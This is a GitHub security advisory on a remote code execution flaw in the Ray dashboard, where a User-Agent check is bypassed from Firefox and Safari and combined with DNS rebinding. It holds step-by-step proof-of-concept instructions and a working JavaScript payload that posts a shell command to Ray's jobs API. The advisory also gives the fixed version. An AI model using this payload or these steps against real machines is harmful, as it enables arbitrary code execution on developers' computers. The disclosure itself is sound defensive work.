+ "details": "# Summary\n\nDevelopers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari. \n\nDue to the longstanding [decision](https://docs.ray.io/en/releases-2.51.1/ray-security/index.html) by the Ray Development team to not implement any sort of authentication on critical endpoints, like the `/api/jobs` & `/api/job_agent/jobs/` has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.\n\nThis vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the `User-Agent` header starting with the string \"Mozilla\" as a defense mechanism. This defense is insufficient as the fetch specification allows the `User-Agent` header to be modified.\n\nCombined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement ([malvertising](https://en.wikipedia.org/wiki/Malvertising)).\n\n# Details\n\nThe mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.\n\n## Current Mitigation Strategies\n\n```python\ndef is_browser_request(req: Request) -> bool:\n \"\"\"Checks if a request is made by a browser like user agent.\n\n This heuristic is very weak, but hard for a browser to bypass- eg,\n fetch/xhr and friends cannot alter the user-agent, but requests made with\n an http library can stumble into this if they choose to user a browser like\n user agent.\n \"\"\"\n return req.headers[\"User-Agent\"].startswith(\"Mozilla\")\n\n\ndef deny_browser_requests() -> Callable:\n \"\"\"Reject any requests that appear to be made by a browser\"\"\"\n\n def decorator_factory(f: Callable) -> Callable:\n @functools.wraps(f)\n async def decorator(self, req: Request):\n if is_browser_request(req):\n return Response(\n text=\"Browser requests not allowed\",\n status=aiohttp.web.HTTPMethodNotAllowed.status_code,\n )\n return await f(self, req)\n\n return decorator\n\n return decorator_factory\n```\n\nhttps://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155\n\n```python\n @aiohttp.web.middleware\n async def browsers_no_post_put_middleware(self, request, handler):\n if (\n # A best effort test for browser traffic. All common browsers\n # start with Mozilla at the time of writing.\n dashboard_optional_utils.is_browser_request(request)\n and request.method in [hdrs.METH_POST, hdrs.METH_PUT]\n ):\n return aiohttp.web.Response(\n status=405, text=\"Method Not Allowed for browser traffic.\"\n )\n\n return await handler(request)\n```\nhttps://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196\n\nThis is because the fundamental assumption that the `User-Agent` header can't be manipulated is incorrect. In Firefox and in Safari, the `fetch` API allows the `User-Agent` header to be set to a different value. Chrome is not vulnerable, ironically, because of a [bug](https://issues.chromium.org/issues/40450316), bringing it out of spec with the `fetch` specification.\n\nExploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like [nccgroup/singularity](https://github.com/nccgroup/singularity).\n\n# PoC\n\nPlease note, this full PoC will be going live at time of disclosure.\n\n 1. Launch Ray `ray start --head --port=6379`\n 2. Ensure that the ray dashboard/service is running on port `8265`\n 3. Launch an internet facing version of NCCGroup/Singularity following the [setup guide here](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).\n 4. Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html\n 5. Under \"Attack Payload\" select: `Ray Jobs RCE (default port 8265)`\n 6. Click \"Start Attack\". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.\n 7. Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.\n\nIf this attack doesn't work, consider clicking the \"Toggle Advanced Options\" and trying an alternative \"Rebinding Strategy\". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks _may_ block DNS rebinding attacks, but likely not many.\n\n## What's going on?\n\nThis is the payload running in [nccgroup/singularity](https://github.com/nccgroup/singularity):\n\n```javascript\n/**\n * This payload exploits Ray (https://github.com/ray-project/ray)\n * It opens the \"Calculator\" application on various operating systems.\n * The payload can be easily modified to target different OSes or implementations.\n * The TCP port attacked is 8265.\n */\n\nconst RayRce = () => {\n\n // Invoked after DNS rebinding has been performed\n function attack(headers, cookie, body) {\n // Get the current timestamp in milliseconds\n const timestamp = Date.now();\n \n // OS-agnostic calculator command that tries multiple approaches\n const calculatorCommand = `\n # Try Windows calculator first\n if command -v calc.exe >/dev/null 2>&1; then\n echo Windows calculator launching\n calc.exe &\n # Try macOS calculator\n elif command -v open >/dev/null 2>&1; then\n echo macOS calculator launching\n open -a Calculator &\n elif [ -f \"/System/Applications/Calculator.app/Contents/MacOS/Calculator\" ]; then\n echo macOS calculator launching\n /System/Applications/Calculator.app/Contents/MacOS/Calculator &\n # Try Linux calculators\n elif command -v gnome-calculator >/dev/null 2>&1; then\n echo Linux calculator launching\n gnome-calculator &\n elif command -v kcalc >/dev/null 2>&1; then\n echo Linux calculator launching\n kcalc &\n elif command -v xcalc >/dev/null 2>&1; then\n echo Linux calculator launching\n xcalc &\n # Fallback: try to find any calculator binary\n else\n echo Linux calculator launching\n find /usr/bin /usr/local/bin /opt -name \"*calc*\" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &\n fi\n echo RAY RCE: By JLLeitschuh ${timestamp}\n `;\n \n const data = {\n \"entrypoint\": calculatorCommand,\n \"runtime_env\": {},\n \"job_id\": null,\n \"metadata\": {\n \"job_submission_id\": timestamp.toString(),\n \"source\": \"nccgroup/singluarity\"\n }\n };\n \n sooFetch('/api/jobs/', {\n method: 'POST',\n headers: {\n 'User-Agent': 'Other',\n },\n body: JSON.stringify(data),\n })\n .then(response => {\n console.log(response);\n return response.json()\n }) // parses JSON response into native JavaScript objects\n .then(data => {\n console.log('Success:', data);\n })\n .catch((error) => {\n console.error('Error:', error);\n });\n }\n \n // Invoked to determine whether the rebinded service\n // is the one targeted by this payload. Must return true or false.\n async function isService(headers, cookie, body) {\n return sooFetch(\"/\",{\n mode: 'no-cors',\n credentials: 'omit',\n })\n .then(function (response) {\n return response.text()\n })\n .then(function (d) {\n if (d.includes(\"You need to enable JavaScript\")) {\n return true;\n } else {\n return false;\n }\n })\n .catch(e => { return (false); })\n }\n\n return {\n attack,\n isService\n }\n}\n\nRegistry[\"Ray Jobs RCE\"] = RayRce();\n```\n\nSee: https://github.com/nccgroup/singularity/pull/68\n \n# Impact\n \nThis vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.\n\nThis attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.\n\n# Fix\n\nThe fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html\n\nFix commit: https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09\n\nSeveral browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. ([Chrome Local Network Access](https://developer.chrome.com/blog/local-network-access)). These changes _may_ protect you, but a previous initiative, \"private network access\" was rolled back. So updating is highly recommended as a defense-in-depth strategy.\n\n# Credit\n\nThe fetch bypass was originally theorized by @avilum at [Oligo](https://www.oligo.security/). The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at [Socket](https://socket.dev/).",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments